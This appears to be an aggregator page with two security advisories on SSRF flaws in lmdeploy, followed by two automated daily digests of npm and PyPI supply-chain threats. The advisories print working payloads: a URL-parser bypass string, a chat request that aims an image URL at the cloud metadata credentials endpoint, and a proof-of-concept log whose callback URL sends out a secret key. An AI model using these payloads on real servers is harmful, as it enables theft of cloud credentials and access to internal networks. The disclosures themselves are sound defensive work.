Where
-Infinity
0
Severity
7.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details The current lmdeploy project uses issafeurl to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using issafeurl for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code. from urllib.parse import urlparse import ipaddress import socket import requests

def issafeurl(url: str) -> tuple[bool, str]: """Check if the URL is safe to fetch (not internal/private).""" try: parsed = urlparse(url) if parsed.scheme not in ("http", "https"): return False, f"Unsupported scheme: {parsed.scheme}"

hostname = parsed.hostname if not hostname: return False, "Could not parse hostname from URL"

# check all IPs (IPv4 + IPv6) using getaddrinfo try: infos = socket.getaddrinfo(hostname, None) except socket.gaierror: return False, "Hostname resolution failed"

for info in infos: ip = ipaddress.ipaddress(info[4][0]) # block any IP that is not globally routable (covers private, loopback, # link-local, multicast, reserved, unspecified, etc.) if not ip.isglobal: return False, f"Blocked non-global IP detected: {ip}"

return True, "URL is safe" except Exception as e: return False, f"URL validation failed: {str(e)}"

url = "http://127.0.0.1:6666" url = "http://127.0.0.1:6666\@1.1.1.1" issafe, reason = issafeurl(url) if not issafe: raise ValueError(f"URL is blocked for security reasons: {reason}")

fetchtimeout = 10

client = requests.Session() client.maxredirects = 3 response = client.get(url, timeout=fetchtimeout, allowredirects=True) When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

<img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" />

PoC http://127.0.0.1:6666\@1.1.1.1

Impact SSRF

1 / 2
Source: OSV
First published (updated )
Severity
7.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The loadimage() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

- Tested on: main branch (2026-02-04) - Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67) python def loadimage(imageurl: Union[str, Image.Image]) -> Image.Image: # ... if imageurl.startswith('http'): response = requests.get(imageurl, headers=headers, timeout=FETCHTIMEOUT) # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encodeimagebase64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching 2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x) 3. Server binds to 0.0.0.0 by default (apiserver.py line 1393) 4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model 2. Attacker sends request to /v1/chat/completions with malicious imageurl: python POST /v1/chat/completions { "model": "internlm-xcomposer2", "messages": [{ "role": "user", "content": [ {"type": "text", "text": "Describe this image"}, {"type": "imageurl", "imageurl": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}} ] }] }

3. Server fetches URL without validation 4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result ╔═══════════════════════════════════════════════════════════════════════╗ ║ LMDeploy SSRF Vulnerability - Proof of Concept ║ ╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889... [2] Attacker URL: http://127.0.0.1:8889/SSRFPROOF?stolendata=AWSSECRETKEY [3] Calling vulnerable loadimage() function...

====================================================================== [+] SSRF CALLBACK RECEIVED! ====================================================================== Time: 2026-02-04 16:10:57 Path: /SSRFPROOF?stolendata=AWSSECRETKEY Client: 127.0.0.1:51154 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)... ======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

- Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs - Internal Service Access: Reach services not exposed to internet - Information Disclosure: Port scan internal networks - Lateral Movement: Pivot point for further attacks

Recommended Fix python from urllib.parse import urlparse import ipaddress import socket

BLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), ipaddress.ipnetwork('10.0.0.0/8'), ipaddress.ipnetwork('172.16.0.0/12'), ipaddress.ipnetwork('192.168.0.0/16'), ipaddress.ipnetwork('169.254.0.0/16'), ]

def issafeurl(url: str) -> bool: try: parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False ip = socket.gethostbyname(parsed.hostname) ipaddr = ipaddress.ipaddress(ip) return not any(ipaddr in network for network in BLOCKEDNETWORKS) except: return False

---

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky Organization: Orca Security Emails: igor.stepansky@orca.security iggy.p0pi@orca.security

1 / 2
Source: GitHub
First published (updated )

This is the daily security digest covering confirmed npm, PyPI, and supply-chain security threats detected in the past 24 hours. A total of 14 threats have been identified across various ecosystems, including active credential harvesting campaigns.

📊 Threat Summary

|Package(s)|Ecosystem|Severity|CVE|Vulnerability| |:-|:-|:-|:-|:-| |u/cap-js/sqlite, postgres, db-service|npm|CRITICAL|CVE-2026-46421|Credential harvesting / Self-propagation| |u/beproduct/nestjs-auth|npm|CRITICAL|CVE-2026-46412|Mini Shai-Hulud worm payload| |guardrails-ai|PyPI|CRITICAL|CVE-2026-45758|Supply chain compromise| |Parse Server|npm|HIGH|CVE-2026-47138|DoS via header regex backtracking| |qs|npm|HIGH|CVE-2026-8723|Remotely triggerable DoS| |u/libp2p/gossipsub|npm|HIGH|CVE-2026-46679|Memory DoS (Subscription flood)| |u/libp2p/kad-dht|npm|HIGH|CVE-2026-45783|Disk exhaustion (Unvalidated PUT)| |SQLFluff|PyPI|HIGH|CVE-2026-46374|DoS via Resource Exhaustion| |Diffusers|ai-ml|HIGH|CVE-2026-45804|TOCTOU Remote Code Execution| |lmdeploy|ai-ml|HIGH|CVE-2026-46517|Unsafe remote-code load path| |Crawlee for Python|PyPI|HIGH|CVE-2026-46497|SSRF via sitemap-derived URLs| |SillyTavern|ai-ml|HIGH|CVE-2026-46372|SSRF in SearXNG Search Proxy| |samlify|npm|HIGH|CVE-2026-46490|XML Injection / Privilege Escalation| |js-cookie|npm|HIGH|CVE-2026-46625|Prototype hijack / Cookie injection|

🚨 CRITICAL Alerts (Immediate Action Required)

1. u/cap-js ecosystem compromise (CVE-2026-46421)

Threat: Compromised versions of u/cap-js/sqlite, u/cap-js/postgres, and u/cap-js/db-service were published to harvest credentials and self-propagate. Action: Upgrade immediately (sqlite \>= 2.4.0, postgres \>= 2.3.0, db-service \>= 2.10.2). Assume all local credentials are compromised if you installed the malicious versions.

2. u/beproduct/nestjs-auth worm (CVE-2026-46412)

Threat: Malicious versions containing payloads from the Mini Shai-Hulud npm supply-chain worm campaign were published. Action: Remove and reinstall dependencies. Audit for signs of compromise if installed during the affected window (v0.1.2 - 0.1.19).

3. guardrails-ai compromise (CVE-2026-45758)

Threat: A malicious version of guardrails-ai (0.10.1) was published to PyPI. It has been quarantined. Action: Uninstall guardrails-ai==0.10.1 and reinstall a known good version.

⚠️ HIGH Severity Highlights

Denial of Service (DoS) Wave: Several major packages are vulnerable to crashing today. Parse Server (CVE-2026-47138) can be taken down pre-auth via a regex backtracking attack in the client version header. qs (CVE-2026-8723) will crash on specific null/undefined arrays. u/libp2p packages are vulnerable to both memory and disk exhaustion attacks. AI Toolchain Remote Code Execution: Both Diffusers (CVE-2026-45804) and lmdeploy (CVE-2026-46517) have vulnerabilities bypassing trustremotecode guardrails, allowing arbitrary remote code execution on model fetch. SSRF & Injection: Crawlee for Python and SillyTavern both suffer from SSRF vulnerabilities requiring configuration updates. samlify is vulnerable to XML injection leading to privilege escalation, and js-cookie is vulnerable to a prototype hijacking attack.

Automated daily digest, created via https://github.com/Deam0on/wakellm - feedback welcome. Stay safe out there!

First published (updated )
Social
reddit

Threat Summary

|Package(s)|Ecosystem|Severity|CVE|Vulnerability| |:-|:-|:-|:-|:-| |u/cap-js/sqlite, postgres, db-service|npm|CRITICAL|CVE-2026-46421|Credential harvesting / Self-propagation| |u/beproduct/nestjs-auth|npm|CRITICAL|CVE-2026-46412|Mini Shai-Hulud worm payload| |guardrails-ai|PyPI|CRITICAL|CVE-2026-45758|Supply chain compromise| |PenPot MCP REPL|npm|HIGH|CVE-2026-45805|Unauthenticated RCE| |Diffusers|ai-ml|HIGH|CVE-2026-45804|TOCTOU Remote Code Execution| |lmdeploy|ai-ml|HIGH|CVE-2026-46517|Unsafe remote-code load path| |u/libp2p/gossipsub|npm|HIGH|CVE-2026-46679|Memory DoS (Subscription flood)| |u/libp2p/kad-dht|npm|HIGH|CVE-2026-45783|Disk exhaustion (Unvalidated PUT)| |Crawlee for Python|PyPI|HIGH|CVE-2026-46497|SSRF via sitemap-derived URLs| |SillyTavern|ai-ml|HIGH|CVE-2026-46372|SSRF in SearXNG Search Proxy| |samlify|npm|HIGH|CVE-2026-46490|XML Injection / Privilege Escalation| |js-cookie|npm|HIGH|CVE-2026-46625|Prototype hijack / Cookie injection| |SQLFluff|PyPI|HIGH|CVE-2026-46374|DoS via Resource Exhaustion| |pymdownx.snippets|PyPI|HIGH|CVE-2026-46338|Path traversal bypass|

CRITICAL Alerts (Immediate Action Required)

1. u/cap-js ecosystem compromise (CVE-2026-46421)

Threat: Compromised versions of u/cap-js/sqlite, u/cap-js/postgres, and u/cap-js/db-service were published to harvest credentials and self-propagate. Action: Upgrade immediately (sqlite \>= 2.4.0, postgres \>= 2.3.0, db-service \>= 2.11.0). Assume all local credentials are compromised if you installed the malicious versions.

2. u/beproduct/nestjs-auth worm (CVE-2026-46412)

Threat: Malicious versions containing payloads from the Mini Shai-Hulud npm supply-chain worm campaign were published. Action: Remove and reinstall dependencies. Audit for signs of compromise if installed during the affected window (v0.1.2 - 0.1.19).

3. guardrails-ai compromise (CVE-2026-45758)

Threat: A malicious version of guardrails-ai (0.10.1) was published to PyPI. It has been quarantined. Action: Uninstall guardrails-ai==0.10.1 and reinstall a known good version.

HIGH Severity Highlights

Remote Code Execution (RCE): Both Diffusers (CVE-2026-45804) and lmdeploy (CVE-2026-46517) in the AI/ML ecosystem have vulnerabilities allowing for unsafe remote code execution via trustremotecode bypasses. PenPot MCP (CVE-2026-45805) exposes an unauthenticated /execute endpoint. Denial of Service (DoS): Heavy hitters include u/libp2p/gossipsub (Heap exhaustion), u/libp2p/kad-dht (Disk exhaustion), and SQLFluff (Parser resource consumption). Update to patched versions to prevent node crashing. SSRF & Injection: Crawlee for Python and SillyTavern both suffer from SSRF vulnerabilities requiring configuration updates. samlify is vulnerable to XML injection leading to privilege escalation in signed SAML assertions.

Automated daily digest, created via https://github.com/Deam0on/wakellm - feedback welcome. Stay safe out there!

First published (updated )
Social
reddit

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